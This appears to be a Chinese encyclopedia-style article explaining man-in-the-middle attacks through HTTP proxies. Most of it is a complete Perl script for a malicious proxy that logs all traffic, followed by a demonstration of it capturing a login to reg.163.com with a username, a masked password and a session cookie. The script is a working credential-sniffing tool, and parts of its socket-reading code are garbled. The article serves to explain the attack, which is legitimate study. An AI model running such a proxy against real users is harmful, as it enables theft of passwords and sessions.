MITM攻擊

前言

說起“中間人攻擊(Man-in-the-middle-attacks，簡稱:MITM攻擊)”大家可能馬上想起曾經風靡一時的SMB會話劫持,DNS欺騙等技術，這些都是典型的MITM攻擊手段。其實MITM攻擊說它是一種手段，不如說它是一種攻擊模式，它可以套用於各個領域，比如在現實中，A通過B給C傳話，那么B在傳話給C的時候，可以誇大其詞，也可以填油加醋後傳給C，在這個過程中中間人B 無意中就來一次MITM攻擊，其實“謠言”就是這么來的 J. 具體在網路安全方面，MITM攻擊套用也很廣泛，下面我就以http協定代理來介紹下代理里MITM攻擊。

原理

代理服務的一個典型模型：
client <Proxy ServerWeb Server
middle man
上面可以看出：client 發出的請求和 web server返回的數據都經過proxy server 轉發，這個proxy server 就起到了一個middle man的作用，如果這個“中間人” 夠黑，那么整個代理過程的數據都可以由這個“中間人”控制。

攻擊類型

截取敏感數據
代碼注射
Proxp worm
其他利用

實例說明

1.截取敏感數據

首先我們編寫一個“惡意的中間人” 代理程式：
以下是代碼片段：
=============================codz start===============================
#!/usr/bin/perl
#proxy mid-man-atk Test script
use strict;
use URI;
use IO::Socket;
my $showOpenedSockets=1;
my $server = IO::Socket::INET->new (
LocalPort => 8080,
Type => SOCK_STREAM,
Reuse => 1,
Listen => 10);
binmode $server;
while (my $browser = $server->accept()) {
print "\n\n--------------Clint提交數據-------------------\n";
binmode $browser;
my $method ="";
my $content_length = 0;
my $content = 0;
my $ACCU_content_length = 0;
my $host;
my $hostAddr;
my $httpVer;
while (my $browser_line = ) {
unless($method) {
($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+) +(\S+) +(\S+)/;
my $uri = URI->new($hostAddr);
$host = IO::Socket::INET->new (
PeerAddr=> $uri->host,
PeerPort=> $uri->port );
die "couldn’t open $hostAddr" unless $host;
if ($showOpenedSockets) {
print "Opened ".$uri->host." , port ".$uri->port."\n";
}
binmode $host;
print $host "$method ".$uri->path_query." $httpVer\n";
print "$method ".$uri->path_query." $httpVer\n";
next;
}
$content_length = $1 if $browser_line=~/Content-length: +(\d+)/i;
$accu_content_length+=length $browser_line;
print $browser_line;
print $host $browser_line;
last if $browser_line =~ /^\s*$/ and $method ne ’POST’;
if ($browser_line =~ /^\s*$/ and $method eq "POST") {
$content = 1;
last unless $content_length;
next;
}
if ($content) {
$accu_content_length+=length $browser_line;
last if $accu_content_length >= $content_length;
}
}
print "\n\n................Serve返回數據.................xx\n";
$content_length = 0;
$content = 0;
$accu_content_length = 0;
my @ret= ;
foreach my $host_line (@ret){
print $host_line;
print $browser $host_line;
$content_length = $1 if $host_line=~/Content-length: +(\d+)/i;
if ($host_line =~ m/^\s*$/ and not $content) {
$content = 1;
#last unless $content_length;
next;
}
if ($content) {
if ($content_length) {
$accu_content_length+=length $host_line;
print "\nContent Length: $content_length, accu: $accu_content_length\n";
last if $accu_content_length >= $content_length;
}
}
}
$browser-> close;
$host -> close;
}
=============================codz end===============================
運行此腳本把結果保存到test.log：
C:\usr\bin>perl proxytest1.pl >>test.log
然後Clinet使用次代理訪問http://reg.163.com/CheckUser.jsp 登入
打開test.log得到如下數據：
--------------Clint提交數據-------------------
Opened reg.163.com , port 80
POST /CheckUser.jsp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Referer: http://reg.163.com/CheckUser.jsp
…….省略…….
Cookie: URSJESSIONID=b370cQyLDya7
…….省略…….
url=&username=hack-520&password=*****&submit=%B5%C7%A1%A1%C2%BC
................Serve返回數據.................xx
HTTP/1.1 200 OK
如下圖所示：
成功得到
username=hack-520
password=*****

MITM攻擊

基本介紹

前言

原理

攻擊類型

實例說明

小結

相關詞條

熱門詞條